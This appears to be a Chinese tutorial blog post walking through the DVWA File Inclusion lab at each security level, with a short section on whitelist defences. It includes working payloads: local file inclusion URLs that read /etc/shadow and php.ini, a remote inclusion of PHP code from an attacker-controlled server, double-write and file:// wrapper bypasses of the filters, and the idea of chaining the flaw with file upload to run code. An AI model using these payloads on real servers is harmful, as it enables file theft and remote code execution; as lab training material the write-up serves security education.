N5 DVWA File Inclusion(文件包含)

一、概念

文件包含指服务器开启allow_url_include选项时。可以通过php的某些特性函数。include()、require()、include_once()、require_once()。利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或任意命令执行。
文件包含漏洞分为:本地文件包含漏洞、远程文件包含漏洞(开启了PHP配置中的allow_url_fopen选项,服务器运行包含一个远程文件)

二、Low级别

1.代码审计
在这里插入图片描述
这里可以看见,对get请求传递的参数直接执行。我们可以在地址栏直接写入命令进行文件包含。
2.本地文件包含读取敏感文件
在这里插入图片描述
我们点击File1,发现直接返回这个文件,链接显示http://192.168.3.133/DVWA-master/vulnerabilities/fi/?page=file1.php
我们将file1.php随便修改成一个不存在的名字,发现返回了文件的绝对路径。
在这里插入图片描述

这里给几个比较常见的路径:
http://ip/dvwa/vulnerabilities/fi/page=/etc/shadow //密码文件所在目录Linux系统
http://ip/dvwa/vulnerabilities/fi/page=C:\xampp\htdocs\dvwa\php.ini
http://ip/dvwa/vulnerabilities/fi/page=…\xampp\htdocs\dvwa\php.ini
猴子君是使用Windows server 2008+phpstudy进行搭建的,所以这里猴子君要重新构建一下路径。
首先,我们在服务器C:\路径下创建一个test.txt文件,里面写一段话。
在这里插入图片描述

在这里插入图片描述
然后我们来访问以下的链接
http://192.168.3.133/DVWA-master/vulnerabilities/fi/?page=C:\test.txt
在这里插入图片描述
发现成功访问。可以直接对路径内的文件进行读取。
访问DVWA的php.ini配置文件
http://192.168.3.133/DVWA-master/vulnerabilities/fi/?page=C:\PHPTutorial\WWW\DVWA-master\php.ini
http://192.168.3.133/DVWA-master/vulnerabilities/fi/?page=…\PHPTutorial\WWW\DVWA-master\php.ini
在这里插入图片描述

3.远程文件包含代码注入
通过查看php.ini文件发现allow_url_fopen与allow_url_include开启,服务器允许包含远程服务器上的文件
我们在远程服务器写一个php文件命名为test.php

<?php phpinfo(); ?>

打开kali的apache,将test.php文件导入。

在这里插入图片描述
在这里插入图片描述
我们输入ifconfig,查看kali的ip地址
在这里插入图片描述

构造远程url
http://ip/dvwa/vulnerabilities/fi/page=http://黑客服务器ip/test.php
此处test.php后缀名为任意组合,.txt/.png等都会被尝试执行php,若不是php则直接显示对应内容。
在这里插入图片描述
发现已经成功运行。

三、medium级别

1.代码审计
在这里插入图片描述
$file = str_replace( array( “http://”, “https://” ), “”, $file );
$file = str_replace( array( “…/”, “…”" ), “”, $file );
对’http://’ 、‘https://’ 、’…/’ 、’…\'进行了字符替换,我们只要输入以上字符就会被替换为空,但str_replace函数是不安全的,只会执行一次,则可以双写绕过。

2.本地文件包含
将内容替换为以下字段即可绕过。
http://192.168.3.133/DVWA-master/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./…/./…/./PHPTutorial\WWW\DVWA-master\php.ini
在这里插入图片描述

3.远程文件包含
双写http://
hthttp://tp://ip/phpinfo.txt删除了http://即构造成功。
在这里插入图片描述

绕过成功!

四、high级别

1.代码审计
在这里插入图片描述
其中,fnmatch(“字符串”,“变量1”);表示变量内容应为字符串内容,*代表任意,即变量应为file+任意字符
2.本地文件包含:file伪协议绕过
我们在文件包含文件夹创建一个test.txt文件
输入以下路径即可成功查看该文件
http://192.168.3.133/DVWA-master/vulnerabilities/fi/?page=file://C:\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\test.txt

在这里插入图片描述
查看php.ini配置文件
http://192.168.3.133/DVWA-master/vulnerabilities/fi/?page=file://C:\PHPTutorial\WWW\DVWA-master\php.ini
在这里插入图片描述
成功

3.远程文件包含
配合文件上传漏洞利用,上传一个内容为php的文件,再用file协议去包含上传文件,从而实现任意代码执行。

五、impossible级别

1.代码审计
if( $file != “include.php” && $file != “file1.php” && $file != “file2.php” && $file != “file3.php” )
如果不等于上面四个文件则返回error
2.总结
对于需要进行文件展示的服务,我们可以进行白名单验证,只允许访问授权访问的文件,即可将安全性提到最高。

六、防御

1.基于白名单进行防御,确保page参数传递只能是固定的文件名。
2.文件包含与文件上传结合可以直接上传图片文件,执行代码。全面防御。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尐猴子君

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值